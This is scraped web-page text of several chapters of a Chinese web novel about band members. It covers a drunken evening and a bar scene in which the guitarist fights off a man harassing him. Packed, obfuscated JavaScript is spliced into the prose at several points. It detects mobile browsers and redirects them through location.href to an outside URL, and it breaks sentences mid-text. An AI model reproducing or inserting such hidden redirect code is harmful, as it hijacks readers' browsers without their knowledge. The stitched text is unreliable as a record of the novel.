$(''#content'').append('' 坐正了身子。 然而一路没输过的游星戈这下终于被幸运女神绊住了脚后跟,程际野打出最后一张牌的时候,游星戈手里还剩下三张。 “好吧,”游星戈愿赌服输,“你们有什么想问的就问吧。” 最后输掉的那个人要回答每个赢家的问题。 查尔斯在旁边幸灾乐祸着呢,一听到这个问题有些卡顿,他不知道问什么,就推了推旁边的李钴。 贝斯手想了想,有些不确定地说:“最喜欢的乐器类型?” 这个问题也太不劲爆了吧。 查尔斯在旁边张大嘴巴,拼命打手势示意他换个问题。 然而游星戈快人一步:“小提琴。” 居然不是吉他吗? 程际野看向他们的吉他手,烧烤摊微茫的夜色混合着烟火气,啤酒、拖鞋和嘈杂的侃大山声里,他们几个还有点格格不入,游星戈也是。 这人接下来扬起笑,不易被察觉到的暖白肤色上透着白炽光打下来时的光晕,他将手按在最后一张牌上:“其次是吉他。” 李钴若有所思般点了点头。 “该我了该我了,”查尔斯迫不及待地抢话,“我要问的是——” 也许是因为他接下来要问的这个问题对他来说太好笑,他试图压下最后一个音,又没忍住笑,整个人的表情呈现出一种让人看不大懂的割裂感。 就在他被目光包围时——李钴甚至有些期待地将酒杯举在下颌处,等着查尔斯说话——然后查尔斯就被一口酒呛住了。 程际野都有点失望地收回视线。 “别,咳咳,”查尔斯捂着胸口,最后终于问出来,“你多大?” 游星戈有些犹豫,毕竟这问题听起来过于简单。 “二十一。”他慢吞吞地说。 “不,”查尔斯打断了他,“我是问这个、这个。” 他拿手横着比划了一下。 这是什么鬼问题? 李钴拿着酒杯的手抖了下。 游星戈沉默了。 程际野意识到查尔斯在问什么,面上不动,脚下踩了查尔斯一下。 “天天有漂亮姑娘喊你小帅哥,其实,——我看你也不小啊。” 查尔斯为这个问题很是得意,毕竟他刚刚输给了游星戈好几把,现在终于能翻盘,当然要问一个能刁难住游星戈的问题。 谁料游星戈面上表情居然没怎么动,甚至还有点淡定地说:“我没量过。” 程际野没想到这话他都能接下去。 查尔斯的问题没得到答案,他比了个NO的手势,义正言辞地说:“那下次咱们玩游戏的时候,你得把结果告诉我。” 这种问题还想得到答案? 游星戈嘴里的啤酒差点没压下去,他敷衍地点了点头。 最后一个问题轮到程际野。 查尔斯在他旁边出谋划策,一水儿的约会、妹子、谈恋爱搅得程际野有些不太想说话。 游星戈在对面托着腮等他们问问题,深栗色的眼睛里带着点很漂亮的那种玻璃制品般的莹润。 是那种与他略显蓬勃的生命力不太像的质感。 也许是在酒精的加持下,又或许是一种说不上来的感觉,程际野鬼使神差地顺着查尔斯的话问去: “最喜欢什么类型的女孩?” 他问出来的时候,对面的人愣了下,随后露出一个笑。 8. 夜晚 他这个笑很浅,但是嘴角弯起的弧度却有些微妙。 因为他的性取向不是女生来着。 他对上程际野的眼睛,侧头的方向精准地漏了一缕发丝,差点就要落进酒瓶子里:“你可以猜一个。” 连眨眼的弧度他都精准计算好。 空气中浮动着一种让人说不上来的朦胧和游离。 查尔斯顿住了,他看向他们的主唱,但是程际野在沉默后开口: “……我不知道。” 程际野在游星戈的注视下移开了视线,落在他发丝要垂下去的那瓶啤酒上,好像那个酒瓶子比游星戈还要好看点。 气氛有点古怪,查尔斯打破了它:“真心话要你说,你问Mike他当然不知道。” 金发小辫的鼓手吐了吐舌头,搞怪般缠着游星戈让他说。 “好吧,”游星戈的目光若无其事地移开,“大概是那种比较可爱的吧。” 直男应该都喜欢比较可爱的女生吧。 查尔斯在旁边哈哈大笑:“真是很适合你诶,这种审美取向。” 程际野在旁边垂下眼,游星戈没看清他的神色。 今天的男主给他一种很淡的冷感,连玩游戏时都有些漫不经心。 神经大条的查尔斯没发现,但是心思比较细腻的李钴能感觉到,他看了一眼程际野,又看向了游星戈。 卷发青年含着笑,没感应到般掠过了李钴的目光。 程际野把啤酒瓶盖拉开,忽视了心头涌上来的一股莫名其妙的不舒服,喉头醇厚的口感压下了心头那种不太舒服的感觉。 他居然说不上为什么。 雪花状的瓶盖不小心间在他的掌心划拉下一道小伤口,他也没注意。 这游戏玩到最后,烧烤摊的顾客都散得差不多了,老板是个年纪不小快有五六十岁的大爷,两鬓有些斑白,还送了他们一打啤酒,游星戈推辞不过,最后干脆说寄存在这里下次来的时候再喝。 毕竟除了李钴,他们或多或少都喝了点,程际野身上的酒味最淡。 查尔斯醉醺醺地被李钴带走了,上挑眼看上去很沉稳的贝斯手说保证会给查尔斯送到家。 金发小辫的鼓手在旁边打了个哈欠,嘴里嘟囔着李钴是个大路盲,连自家门朝哪开的都不知道。 游星戈看上去喝得有点醉,听到这话止不住地笑,弯起来的眼睛里水波荡漾,眼尾泛红,黑色弯曲的额前发丝也被汗涔涔地打湿。 他是真的喝醉了。 要不是程际野拦着,这人差点要冲上马路边,幸好他一只手给他拽回来了。 “别走了。”程际野试图叫醒他。 然而被拽住手腕的人没意识到发生了什么,回过头的眼神有些茫然地看向他,深栗色的眼睛里倒映出来一点程际野的影子。 程际野深吸了一口气:“回家。” 游星戈听到这句话,点了个头,舞台上耀眼的吉他手喝醉酒后依旧耀眼,却是另一种性质的。 他的酒品好到不像话,跟着程际野回去的时候一句话多没说,要不是话少的过分,他们就像是一对普通地来压马路的年轻人。 程际野忍受着非同一般的沉默。 幸好他们住的离这不远,然而等到上楼,程际野才想起来,手顿在了游星戈房间门把手边。 他转身,卷发青年懵懂的眼神一下对上他的,程际野冷静地开口:“钥匙在哪?” 身为房东,他自然有游星戈房间的钥匙,但是那被他放在了自己屋里的抽屉里,他有点懒得去拿。 但他总得把这家伙送到自己房间里吧。 游星戈点了点头,却没说话。 程际野又问了一次,黑发下那双深切的眼睛里带着耐心。 游星戈茫然地抬头,花了几秒理解了他这句话的意思之后才道:“口袋里。” 他这话说得慢吞吞的,也没有要行动的迹象。 程际野摸了摸他的外套口袋,没有,他抬眼看游星戈,这时候才意识到他们离得有点近。 炙热的呼吸在这之中,游星戈深栗色的眼睛满满当当裹着光,有如他的名字般散落着星星。 纯粹得不可思议,如果忽视他们之间过于近的距离的话。 但是这个角度—— 太近了,狭小的楼梯间里他甚至能感受到对方低头时打在他脖子上的热气,那种属于人类青年的炽热而蓬勃的吐息,还带着排练室阳台边的米兰花的味道。 再近点,他们简直能贴上去了。 程际野心下一动,拉开了距离。 哪怕他直了二十多年也该意识到这样有些古怪。 但是他这个动作太突兀,差点把卷发青年推开,游星戈有些茫然地退了小半步,嘴里嘟囔了句什么: “别推、也不要打我。” 声音很小,但是程际野还是听到了。 醉到这种地步了。 那得快点把他送回房间才行。 程际野压下心头涌出来的异样感,视线落在了他的牛仔裤上。 不在外套口袋里,难道在裤子口袋里吗? 程际野没什么犹豫地伸手去摸游星戈的裤兜,并凭借自己的好眼力在略显黑暗的空间里准确无误地摸进了口袋。 游星戈没想到他有这个举动,他只能尽力压下嘴角的笑意,幸好天黑,看不清他脸上的表情。 只能说男主在某些方面主动得过分。 指尖顺利碰到了钥匙,隔着牛仔裤口袋薄薄的布料,还能感受到柔韧细腻的皮肤。 意识到自己在摸什么的程际野喉头一紧,试图速战速决,就在他隔着窄紧的裤口袋要往里面进一步摸索的时候,原本站着没动的卷发青年抓住了他的手腕。 掌心温热,力气很大,想阻止他继续往下。 程际野自己都感觉到一种古怪的氛围在蔓延,深沉的眸色对上游星戈的,低下头的眼睛里很纯粹,带着酒意,仿佛没意识到自己在干什么。 注意到他的视线,卷发青年还露出个人类以示友好和礼貌的笑意,像第一天见他那样,最后松开了手。 他是不是想太多了? 程际野微不可见地皱了下眉,把那种异样感压下心头。 没了手的阻挠,他从游星戈的口袋里拿出了钥匙。 他开了门。 手指摩挲了下钥匙,他才发现掌心有些出汗。 男人总是能轻易察觉到暧昧的氛围,哪怕是一些小举动。 但是这不应该。 这不应该。 等他回头的时候,才发现游星戈还站在房门口没进来。 楼梯间黑暗里笼罩着半个人影,卷发青年脸上的表情依旧纯真。 或许只是他想多了,这是正常的社交距离,程际野在心里默念。 这是正常的社交距离。 “进来吧。”他说。 他把铺着桌布的桌角上放得不太正的花瓶往后面推了推,在他看不见的身后,游星戈的眼神逐渐由带着醉意变得清明,最后白炽光下只有余下深栗色的平静。 虽然他现在心跳得很快。 天知道,刚刚男主把手伸进他裤口袋里时,他是怎么忍住的。 游星戈尽量让自己忘记炙热的呼吸、眼神纠缠时动人的神色和明明若有若无保持却依旧在靠近的距离,顺便忍住嘴角的笑意。 等到程际野再次回头看的时候,只能看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631670|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青年乖乖地进了屋,顺便还把门关上了。 游星戈酒后很安静,没有耍酒疯的习惯,窝在沙发里摆弄着面前泛黄的磁带。 他对祈城不熟,磁带是乐队某个午后在旧书店里淘的,B面的歌居然比A面更合他的口味,于是他淘了不少回来。 程际野把阳台窗户打开,微风和不太闹耳的蝉鸣一起涌进屋里,又去厨房倒了杯水,试图寻找解酒药无果,只好把水放在了游星戈面前。 幸好他说什么游星戈就会做什么,喝醉酒的人会有的恶习他一个都没有。 程际野坐进了沙发里,卷发青年也靠着沙发,喝水的时候很安静。 程际野今天整天心情都不太妙,周围人能发现,他自己当然也能察觉到。 太久没回家,他都快忘掉这种感觉了。 那种让他有些不耐烦又无法摆脱的情绪,从母亲的墓前一直纠缠到心底。 原因大部分来自于他暴躁的父亲。 不支持他搞音乐,也不认为他能获得成功。 ——尽管现在他已经能拿出来更平和的态度来对待。 酒后的夜晚,略显潮湿的空气,程际野突然想抽一支烟。 但是旁边有游星戈,他抬了抬手,又放下了。 那个银色的打火机在他指间翻转,光泽在灯光下跃动的漂亮,复位弹簧推出了淡蓝色的火苗。 在他无意识把玩着这个打火机时,旁边的卷发青年有些好奇地凑上来,试图从他手里拿走它。 程际野没有任何阻拦地让他拿走。 银色的打火机在游星戈修长的手指间有一种莫名肃穆的美,像是黑夜里翻飞的蝴蝶。 游星戈说:“很漂亮的打火机。” 他说这话时声音里没有醉意,程际野有些诧异地看向他,只发现青年低垂着眉眼,也无法判断他是不是清醒了。 不过,这个打火机对他来说也不算什么心爱之物—— “你喜欢的话就送你。”程际野说。 “真的?” “当然。” “那如果不是打火机呢?” “比如?” 游星戈顿了顿:“请把今天晚上的月亮摘给我吧。” 他这是句俏皮话,他只是看出来男主心情不好,想逗逗他而已,程际野却以为他真醉了。 黑头发的主唱没有拒绝,他站起来,从墙上的挂钩处取下吉他。 他问游星戈:“能用吗?” 游星戈点头,卷发下的笑容很轻快。 程际野试了下手,吉他出乎意料地合他的意。 只是他多少喝了点酒,一下记不起来以前常弹的曲子了,最后稀里糊涂地弹出来几个调。 渐渐成形的时候,他才意识到是《月亮河》。 旋律流畅动人,游星戈托着下巴,几乎能跟得上这其中的每一句歌词。 虽然它好像和月亮的关系不大。 游星戈眨了眨眼,由衷喜欢这首曲子。 投身音乐时的程际野是最纯粹的那种人,仿佛在他的身上,能看到有人将自己的一生都奋不顾身投入其中。 他合该声名鼎沸,走过繁花锦簇的长路。 屋里的灯亮,程际野弹到最后,他的吉他水平不比唱歌差,毕竟这年头哪个主唱不得会两三个乐器。 他神情很淡地收尾:“你该睡觉了。” 游星戈拿手敲着几张琴谱,银色的打火机压在谱子上,是完全送给他的意思。 他仰起头,说:“好。” 打火机泛起幽幽的蓝橙分明的光,火焰炙烤着,游星戈打了一会才熄灭。 微弱,但炙热,是易燃品。 他很喜欢。 9. 出现 ONE很火,在喜欢过夜生活的年轻人里尤其。 连带着酒吧一起火,有时候人满为患,杜乔还开玩笑说迟早改成live house,坐地起价,想要一睹个个都长得这么靓的乐队风采,先得把钱交了。 这其中也有不少游星戈的功劳。 他长了张讨女人喜欢的脸,挺拔阳光,吉他弹得也好,不过是和程际野不同的路子,程际野在台上时下面叫得略显豪放的女孩,转眼在他面前就掩嘴笑,游星戈也不知道为什么。 不过,成员的魅力只是乐队火的一部分原因,主要靠的还得是乐队的实力。 大部分年轻人都是来蹦的,冲着好摇来,趁着酒吧气氛好顺便勾搭个人过夜的也有,灯光变换烟波流转间,一支烟,一个触碰,轻易就把人魂勾走了。 今天晚上来的这位客人好像就是冲着这个来的。 酒保手里摇晃着雪克杯,嘴上和一位客人搭话,眼神却若有若无向旁边瞥去。 那是个系着细领带的男人,皮肤冷釉色般白,对视线很敏感的样子,注意到酒保看过来,还勾了个轻佻的笑。 酒保赶紧将视线收了回来。 他注意到这个人并非出于其他原因,只是因为这个男人来过很多次,来得不规律,基本每次都一个人,也不搭话,倒是有几次看见他和别人一块出过酒吧。 明明兴趣淡淡的,对酒和音乐都不太热衷的样子,却照旧来。 看乐队演出的时候也没跟着其他人蹦,盯着舞台倒是入神,也是位奇怪的客人。 但今天格外的不同,这个系着细领带和周围格格不入的男人开了口,和他要了一杯马天尼。 他扬起来的笑也是白釉般的,说起的话轻声细语,像是在唇齿间咀嚼过很多遍的:“今天没有演出吗?” 这是要搭话的意图。 周围的灯光炫目,音乐放着,但是演出的人不在,西班牙语里有飓风寓意的酒吧里响起深夜的喧嚣,客人们喝酒的喝酒,蹦迪的蹦迪,这个男人的语气冷静。 “有的,现在太早了而已。”酒保下意识解释。 “那么,”真名叫沈质的男人眨了眨眼笑道,眼角一颗泪痣活灵活现,他的语气很期待,“今天就能看到完整的演出了。” 他特意挑出来的日子,当然能够看完整场演出。 酒保压下了心头的不适感,就算他上学的时候语文不太好,相关的比喻也能搜刮出来一点,这个语气太黏腻了,像蛇一样。 他选择转身去擦杯子。 游星戈今天弹吉他的时候又感受到熟悉的目光。 音乐震耳欲聋,灯光绚丽多变,也不能挡住那种扑面而来的侵略感。 这不是第一次。 他微不可见地皱了下眉,视线在一圈内扫过,这次目光的主人没有避开,游星戈能感知到这目光来自于吧台边,只是灯光太晃,他只能看清是个男人,甚至遥遥地朝他举了个杯。 啧。 他漫不经心地移开视线,权当自己完全没注意到。 狩猎者会为自己的目标完全没有搭理他的意思而恼怒吗? 对于沈质这样的人来说是会的。 于是这目光几乎整场都落在了游星戈身上,弹起吉他来发丝飞扬的青年并不在意,冲台下抛飞吻的次数让程际野都侧目。 演出照旧以喝彩和掌声结束。 到了后台,游星戈有点不爽,因为那目光让他弹错了两个音。 黑色头发眉眼俊美的主唱刚搭上游星戈的肩,想问他出去吃不吃宵夜的时候,游星戈就把吉他顺给他,让他帮忙带回去,他还有事。 程际野还没来得及说什么,他们的吉他手就一副着急的样子,拿出没人能抵挡的招牌微笑冲他招手:“谢谢你啦哥!” 程际野因为好心情上扬的嘴角往下拉平了一点。 查尔斯都没拦住他,看着有活力的卷发青年一溜跑到吧台边,和调酒师Anna搭上话,疑似有热火朝天的趋势,他在旁边感慨:“见色忘友还忘掉吃饭的家伙。” 调酒师是个新招来的混血美女,查尔斯还没聊上来呢。 “真是没想到。”他喃喃道。 大概这就是长了张漂亮脸蛋的好处吧。 旁边下台了就有些懒散的主唱抬了抬眼,开口:“那别等他了。” 李钴在旁边正在拔电源线,这时候抬头,上挑眼里有些迟疑。 他们的主唱只是转身,游星戈塞进他怀里的吉他包被他捋顺肩带背上,他没继续开口。 心思敏锐的贝斯手能够轻易察觉出别人的心思,但是——他皱了下眉,又觉得自己想多了。 程际野也说不好自己刚刚的好心情怎么一下消失殆尽。 但他还是从兜里掏出手机,给游星戈发信息:“老地方,搭讪完过来吃饭。” 程际野很快平复了心情,将自己那一瞬间的烦躁归之于他不希望他的吉他手不专心于音乐上。 虽然游星戈只是去搭讪了个女人。 此时正在和Anna聊天的游星戈接着话题,在程际野发了信息的时候也不忘回复: “好。” 他抬头,继续听面前小麦色皮肤的调酒师说话,偶尔蹦出来两句让Anna都笑得不停。 余光里瞥见有人落座在旁边,身上有一股马天尼的味道,衬衫在手腕处折了个角,似乎正在专心品酒。 游星戈嘴角一勾。 调酒师是很忙的,尤其是晚上这个点,Anna没一会就开口抱歉,游星戈也弯了弯眼,看着她去忙别的客人去了。 旁边的男人没有说话,游星戈于是有些无所事事般透过柚色的酒液看向酒柜,他知道那里藏着几瓶好酒。 吧台上的玻璃晶莹剔透,灯光洒下来时五彩斑斓。 一阵沉默过后,旁边的人终于忍不住开口,声音拖得很长,里面带着淡淡的笑意:“演出很不错。” 虽然沈质压根不知道他们演出的哪首是哪首。 被他搭话的卷发青年转过头来,面上有些吃惊,但还是维持着面对陌生人所应该保持的迟疑:“……谢谢?” 深栗色的眼睛里带着礼貌和好奇,倒映出这个系着细领带的男人。 正确的、该有的反应。 沈质含着笑,视线隐晦地从青年那张隽秀的脸上移到在雪白的脖颈里,隐现的皮肤延伸进衬衣里,若有若无的勾人。 真是漂亮的人,要是床上也这么带劲就好了。 他继续开口:“上次的玫瑰喜欢吗?” 这话的每个字都被他咬得极为宛转,像他写的字一样花里胡哨。 他观察了青年很久,知道他后来没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631671|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过别人的花。 这份说不上是巧合还是别的特殊待遇让他有些沾沾自喜。 今天就算这位吉他手不碰巧下来坐到吧台边,他也会去堵人。 毕竟这样的猎物可不常见了,他这些日子心痒难耐,实在是等不及了。 游星戈这下把他和背后送花的人对上了。 沈质,纨绔子弟,和男主有点纠纷,手段不光彩的反派。 原来就是这个家伙害他弹错了两个音,他的嘴角抽了抽。 天知道他当时收下那捧花的时候压根没看见里面有卡片。 灯光摇曳,卷发青年眨了眨眼:“原来是你送的吗?我看那是个红色发绳的女生来着。” 他这话说得也迟疑。 沈质顿了一下才反应过来。 原来没看到卡片吗? 那早知道就不假人之手了。 眼尾有颗泪痣的男人神色一僵,但很快就整理好了表情:“是我送的。” 他正好侧过头,直直对上卷发青年的眼睛,轻佻地眨了眨眼,算作自我介绍:“我叫沈质。” 卷发青年像是不太适应别人靠得这么近,往后躲了躲。 “那里面还有一张卡片,不知道你有没有看见。” 他仿佛完全没有意识到游星戈往后退了点,声音勾在灯光和人影里很暧昧。 吉他手在舞台上出了汗,有绺头发在耳边翘了起来,沈质凑上前伸手要把这捋头发压下。 眼神晦暗,性暗示十足。 偏偏游星戈没有顺他的意,握住了对方想伸过来的手腕,皱了下眉:“你喝醉了吗?” 这太失礼了,沈质能听出来他后半句没说出来的话。 哟,还是只小白兔呢。 他眼神一转,晦暗间已经变了神色,收回了手,语气里和缓了些:“抱歉,我有点喝醉了。” 卷发青年像是意识到了他的意图,措辞变得强硬:“谢谢你的喜爱,但是我现在还有事,不好意思。” 说完,他把酒杯放下,起身离开了。 在他的背后,眼尾有颗泪痣的男人盯着他,并没有阻拦。 游星戈挑了挑眉,当着人的面拐进了厕所。 他知道沈质肯定会跟来。 外面,查尔斯已经快把半盘烤肉吃完了,也没见到游星戈的人影,眨眨眼有些迟疑地说:“游星戈不会跟人跑了吧?” 他当然是开玩笑,毕竟酒吧还没下班,调酒师当然也不可能离开岗位。 最后是他相信他的好兄弟不会随便和刚搭讪上的女人上床。 程际野皱了下眉,道:“我去看看。” 查尔斯:“诶?” 陈青看着程际野的背影,嘴里叼着的签子还在,他想到什么,挑了挑眉对查尔斯:“我也去。” 这个点的酒吧依旧躁动。 程际野进去的时候,热闹的气息扑面而来,吧台边早就没人了,Anna看见他时有些吃惊:“Mike?” 他点了点头:“游星戈人呢?” 他问得轻描淡写。 Anna思考了下:“刚刚还在这,应该去上厕所了吧,我看到了。” 只是奇怪——小麦色皮肤的调酒师在心里想着——她刚刚还看见有个人坐在游星戈旁边,应该是朋友之类的,怎么也不见了。 10. 揍 马天尼酒液的味道冲鼻,游星戈离开座位时,沈质放下了手中的酒杯。 游星戈有一头蓬勃但并不乱的卷发,沈质看着他的背影,微微眯了下眼。 说起来,他和ONE的那位主唱还闹过些不愉快。 不过这点不愉快不足以使他放弃。 毕竟太漂亮的猎物在让猎人心痒难耐的同时,也会降低猎人的警惕心。 沈质就是这么个人。 在看见卷发青年离开后,他又抿了一口酒,掐准时间跟了上去。 他想要的东西没有得不到的道理。 酒吧的洗手间总是烟雾缭绕,吸烟的人很多,今天已经有些晚了,弥漫在空气上方的薄薄的烟雾也散开了。 游星戈刚要推开男厕所门的时候,对面在女厕所门口推推搡搡笑闹着的两个女孩没站稳一下倒在了他身上,其中一个扶着酒杯的不小心把酒液洒在了他身上。 “啊,不、不好意思。”化着烟熏妆的女孩看向他被泼上酒渍的衬衣,有些慌张地往后退了一步。 游星戈摆了摆手:“没事。” 他里面还穿了件黑色背心,衬衣只是外搭,湿哒哒黏在身上略微有些麻烦而已。 另一个和烟熏妆女孩打闹的女孩看见他的脸,有些惊喜地拦下他:“诶,你是游星戈?吉他手耶,超级帅!” 她兴奋地索要起签名,游星戈没带笔,还是用对面递过来的口红直接在便条上签了字。 最后女孩子们高兴地走了,游星戈进了男厕所。 他把湿掉的衬衣脱下来,烘干机看起来并不适用于它。 黑色背心下是属于青年人所有的蓬勃伸展的身躯,他解开裤子拉链,就在这时身后的门响了,有人进来了。 影子投下来,“咔哒”一声,细微的门反锁声。 游星戈纯纯当作自己没听到继续放水,个子也往一米八以上走的男人走到他隔壁的便池。 男厕所的默认规则,放水中间必须隔一个,可惜沈质没有这个自觉。 不仅没有这个自觉,这个道貌岸然的家伙在拉开裤链前甚至还叼着烟上下打量了一下游星戈。 游星戈一边在心里感慨这家伙真是个bt,一边赶紧方便完拉上裤链。 在他作势要走的空当,同样也放完水的男人慢悠悠地开口:“刚刚实在不好意思。” 这话拦住了游星戈,卷发青年回过头,仿佛这时候才认出来刚刚在他旁边的人是谁,他皱了下眉,回答礼貌又带着距离:“没关系。” 系着细领带浑身写满斯文败类气质的男人拉上拉链,嘴里叼着的烟正缓缓向上吞吐着烟雾。 他看着游星戈,发现游星戈的黑色背心下还有副好身材,他挑了挑眉,拉近了两人的距离:“对了,我能问你一个问题吗?” 这下语气里的轻佻就出现了。 游星戈假装不知道那简直能把人衣服扒光的目光,也不知道被反锁的门,露出个有些困惑的眼神。 他生得实在合沈质的意,让沈质的目光没忍住顺着那张脸往下,不知道怎么被弄湿的衬衣在往下滴水,不规律的,他黑色背心下的皮肤肌理在烟雾下蕴含着力量,洗手间迷离的暖白灯光里,连这个人都透露出惊心动魄的漂亮。 男人的本能和酒精的作用交织着,沈质的声音里有些别样的意味,他伸手压在了游星戈的侧颈,掌心触摸下是温热的肌肤: “你对男人感兴趣吗?” 他的眼睛里带着执着和情欲的色彩,酒味和烟味不知道哪个先来:“和我做一次。” 浓浓的邀请意味,暧昧地缠绕着,他抬头对上了那双深栗色的眼睛,那里面沉睡着一片海洋,现在隐隐有波涛翻涌的前兆。 程际野走向洗手间时遇到两个兴奋的女孩在和周围的朋友炫耀乐队吉他手的签名,说字写得太好看了,回家要和她那追过的一二三四个明星歌手的放在一块好好瞻仰。 他没忍住勾了勾唇,心想他的吉他手写字确实好看。 由此也能知道,游星戈确实在洗手间里。 但是他推了推洗手间的门,没有推动。 黑发俊美的年轻人挑了挑眉,转下了门把手才发现门被反锁了。 杜乔的酒吧里不会发生有人在厕所里打炮这种事。 程际野顿了下,这时候厕所门传来了一声闷响,像是什么重物被砸到门上了。 隔音不好,有人低低地喘。 怎么回事? 程际野又拧了一下门把手,这次有人从里面开了门。 门内伸出的手抓住了他的胳膊,借着力气从洗手间里闪了出来,程际野还没看清里面到底发生了什么,门就在游星戈背后关上了。 他的吉他手以出乎意料的方式出现在他面前,衬衣不翼而飞,黑色背心裹着身躯,头发往下滴水,浑身湿哒哒的,顺便还打了个喷嚏。 程际野看向他嘴角不明显的淤青:“你打架?” 游星戈点了点头,他现在满心在想刚刚怎么不多揍狠一点,好不容易找到的机会,他得对得起他当时弹错上两个音符。 程际野往口袋里摸索了下,什么都没摸到时才意识到他现在已经不怎么随身携带创可贴了,他收回了手。 他没问游星戈为什么打架,在他看来大概率是那个人惹恼了他家好脾气的吉他手。 游星戈居然先眨巴眨巴眼解释起来,也不顾头发往下滴水:“那家伙是个混蛋,上来就骚扰我。” 揍两拳解解气算了。 他说完这句话之后程际野的表情就有点不对。 黑头主唱的嘴角紧抿成一条直线,浑身气压有些低。 有人趁他不在骚扰他的吉他手。 这个认知让他微妙地有些不爽。 “男的?”他问。 游星戈:“嗯。” 他们现在站得很近,游星戈双手插兜,说出来这句话的时候没意识到什么不对。 他们视线相对,空气中弥漫着一种紧张的氛围,最后是程际野移开视线,玩乐器的修长有力的手绕过游星戈去拧门把手,红酒的味道在两人之间弥漫。 真好闻。 游星戈抬了抬眼,侧过身,顺着程际野的视线看过去。 洗手间里烟雾和水雾淡薄地飘过,靠在洗手台边的男人捂着肚子,脸色有些苍白。 程际野认出了他,他皱了下眉:“沈质?” 他和沈质有点纠葛,说不上严重,无非是某天风流浪荡的沈大少试图捡尸回家,被路过碰巧见到的程际野拦下了而已。 又是这个家伙。 黑发的主唱有些不爽,联想起那张玫瑰卡片,一下想通了所有关节。 没想到自己会和程际野碰上的沈质抬了抬眼,新仇旧恨加在一块,又在称得上宿敌的家伙面前被揍,他硬生生站直,撇起嘴:“真是好久不见啊。” 随后他将视线转移到游星戈身上,语气很欠揍:“就算是不同意,也不用揍人嘛。” 都把手伸到脖子上了还不能揍吗? 虽然游星戈本来就有这个意图。 他说:“再出现在我面前,我可以见一次揍一次。” 脾气很好的卷发青年难得面庞带着冷。 沈质那挨打也能保持万年不变的笑意僵住了。 他的眼底飞快闪过不甘,最后露出个似笑非笑的表情:“哎呀,脾气真大啊。” 程际野没想到他看着像小太阳似的吉他手还有这一面,顿了顿才将目光移开。 为了避免再次被骚扰,游星戈甚至从脑袋里扒拉出被遗忘在角落里八百年的直男人设:“就算这样,你也应该提前了解一下骚扰对象的性取向吧。” 程际野心下一动。 确实有这方面的理由,他居然没想到。 所以……果然是直男吗? 他垂下眼看向地面,神情一时间有些晦涩。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631672|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你以后不会再在这里见到他了。” 游星戈听见程际野在他旁边轻声说。 安保记住一个人的脸还是绰绰有余的。 游星戈抬眼看了男主一眼。 出乎意料的,那双眼睛里酝酿着游星戈不懂的情绪,黑沉色的。 游星戈朝他露出一个笑。 程际野没有对上他的视线,只垂下了眼:“走吧。” 他居然没有多问刚刚的事。 游星戈把揍人时不小心踩开的水管开关扣上,这突然爆水的水管刚刚淋了他一身。 洗手间的门大大方方地敞开着,里面的灯光晃动着,程际野站在那里,莫名感觉心口泛上涩意。 原来那种感觉真的只是意外吗? 他总有种错觉,一直隐隐萦绕在心头。 互相点燃的烟,在淡蓝色的夜幕里呈现出近乎燎原的势头,他曾看向游星戈的眼睛,那里面火苗星星点点,仿佛下一秒就会明亮地亮起。 距离太接近了。 原来只是错觉。 沈质虽然因为对人动手动脚而被揍了两拳,现在居然淡定下来,看向程际野的时候还眨眼笑了下。 虽然在心里他恨得牙痒痒。 程际野把自己的外套脱了,游星戈毫不介意地接过来,头发还往下滴着水珠的脸上露出灿烂的笑:“谢谢哥。” 衬衫上的酒渍、渐渐不再往下滴水的黑色背心、毫无阴霾的笑容,程际野沉默了下才开口:“没事。” 游星戈非常自然地穿上,他们没有理会沈质,安保很快就回来这里请人出去。 他虽然不明白自己到底哪点吸引了沈质,但是这被他随之抛在脑后。 毕竟他很久没打过架了,还挺爽。 嘴角牵动了伤口,这来自于沈质前不久下意识的回击,游星戈装吃痛:“嘶。” 果然收到了男主的视线。 他们已经出了洗手间门,在昏暗的酒吧里,程际野的目光落在了他的伤口上。 “很疼吗?” 游星戈开玩笑般接道:“拜托,我揍你嘴角一拳试试。” 也不知道是什么作祟,程际野看着他,昏暗灯光里游星戈的脸明明暗暗,调笑般的语气染上素来阳光的吉他手的唇角,看上去对这次事件并不在意。 为什么不在意?他不知道沈质是什么样的人吗?程际野看向游星戈带着淤青的嘴角。 也许对方就是这么迟钝的人。 心下一动,他的手先于理智一步摸上了游星戈的嘴角。 有些粗糙的手指在柔软而富有弹性的嘴唇上摩挲了下。 软的,湿的。 卷发青年愣住了似的眨了眨眼。 程际野喉头一动,大脑轰然没想出来这么做的理由,他移开视线,开口说出来的话是:“我没带创可贴。” 这究竟什么是什么?程际野懊恼地想要收回手。 游星戈按住他,露出一个好看的笑:“没事,你摸摸就不疼了。” 他眼神很单纯,仿佛真没意识到自己的话到底有什么问题。 